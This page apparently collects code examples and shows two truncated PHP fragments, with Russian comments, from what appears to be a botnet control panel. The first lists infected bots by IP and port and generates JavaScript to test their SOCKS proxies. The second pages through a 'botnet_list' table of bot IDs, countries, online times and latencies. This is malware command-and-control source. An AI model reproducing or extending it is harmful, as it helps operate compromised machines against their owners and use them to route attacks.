예제 #1
0
                            $res = array();
                            while ($m = @mysql_fetch_row($r)) {
                                $res[$m[0]] = $m;
                            }
                            mysql_free_result($r);
                            unset($m);
                            $data = str_replace('{WIDTH}', 'auto', THEME_LIST_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(3, LNG_BA_PORT_SOCKS_TITLE), THEME_LIST_TITLE);
                            $i = 0;
                            $jsList = '';
                            //Выводим результат.
                            foreach ($blist as $bot) {
                                $isExists = isset($res[$bot]);
                                $item = $i++ % 2 == 0 ? THEME_LIST_ITEM_LTEXT_U1 : THEME_LIST_ITEM_LTEXT_U2;
                                if ($isExists) {
                                    $l = $res[$bot];
                                    $ipv4 = binaryIpToString($l[2]);
                                    $jsList .= ($jsList == '' ? '' : ', ') . "['st{$i}', '" . addJsSlashes(urlencode($ipv4)) . "', '" . addJsSlashes(urlencode($l[3])) . "']";
                                }
                                $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', botPopupMenu($bot, 'botmenu') . THEME_STRING_SPACE . '/' . THEME_STRING_SPACE . ($isExists ? $l[1] : '--')), $item) . str_replace(array('{WIDTH}', '{TEXT}'), array('150px', $isExists ? htmlEntitiesEx($ipv4 . ':' . $l[3]) : '-:-'), $item) . str_replace(array('{WIDTH}', '{TEXT}'), array('150px', $isExists ? str_replace('{ID}', 'st' . $i, THEME_STRING_ID_BEGIN) . LNG_BA_PORT_SOCKS_CHECKING . THEME_STRING_ID_END : LNG_BA_PORT_SOCKS_FAILED), $item) . THEME_LIST_ROW_END;
                            }
                            //Скрипт для проверки соксов.
                            $ajaxError = addJsSlashes(str_replace('{TEXT}', LNG_BA_PORT_SOCKS_ERROR, THEME_STRING_ERROR));
                            $ajaxInit = jsXmlHttpRequest('socksHttp');
                            $q = addJsSlashes(QUERY_SCRIPT . '?botsaction=port_socks&bots[]=0');
                            $ajax = <<<JS_SCRIPT
var socksList = [{$jsList}];
var socksHttp = false;

function stateChange(i){if(socksHttp.readyState == 4)
{
  var el = document.getElementById(socksList[i][0]);
예제 #2
0
    //Создание списка страниц.
    if (($pageCount = ceil($mt[0] / BOTS_PER_PAGE)) > 1) {
        $pageList = THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . showPageList($pageCount, $curPage, 'return changePage({P})') . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END;
    }
    $botsCount = $mt[0];
}
//Запрос 2.
$botsList = '';
$offset = ($curPage - 1) * BOTS_PER_PAGE;
if (!$r || !($r = mysqlQueryEx('botnet_list', 'SELECT `bot_id`, `botnet`, `bot_version`, LOCATE(`ipv4`, `ipv4_list`), `ipv4`, `country`, `rtime_online`, IF(`rtime_last`>=' . ONLINE_TIME_MIN . ', 1, 0), `net_latency`, `comment` FROM `botnet_list` ' . $query2 . ' LIMIT ' . $offset . ', ' . BOTS_PER_PAGE)) || @mysql_affected_rows() === 0) {
    $botsList .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(BOTSLIST_ROWS_COUNT, $r ? LNG_BOTNET_LIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END;
} else {
    $i = 0;
    while ($mt = @mysql_fetch_row($r)) {
        //IPv4.
        $ipv4 = binaryIpToString($mt[4]);
        //Метка NAT.
        if ($mt[3] == 0) {
            $ipv4 .= '*';
        }
        $themeText = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1;
        $themeNum = $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1;
        $themeCb = $i % 2 ? THEME_LIST_ITEM_INPUT_CHECKBOX_1_U2 : THEME_LIST_ITEM_INPUT_CHECKBOX_1_U1;
        $botsList .= THEME_LIST_ROW_BEGIN . str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('bots[]', htmlEntitiesEx($mt[0]), ''), $themeCb) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(++$offset)), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', botPopupMenu($mt[0], 'botmenu')), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($mt[1])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', intToVersion($mt[2])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $ipv4), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($mt[5])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $mt[7] == 1 ? tickCountToText(CURRENT_TIME - $mt[6]) : LNG_FORMAT_NOTIME), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsFloat($mt[8] / 1000, 3)), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', empty($mt[9]) ? '-' : htmlEntitiesEx($mt[9])), $themeText) . THEME_LIST_ROW_END;
        $i++;
    }
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// Создание списока дейтвий.
///////////////////////////////////////////////////////////////////////////////////////////////////
$actions = '';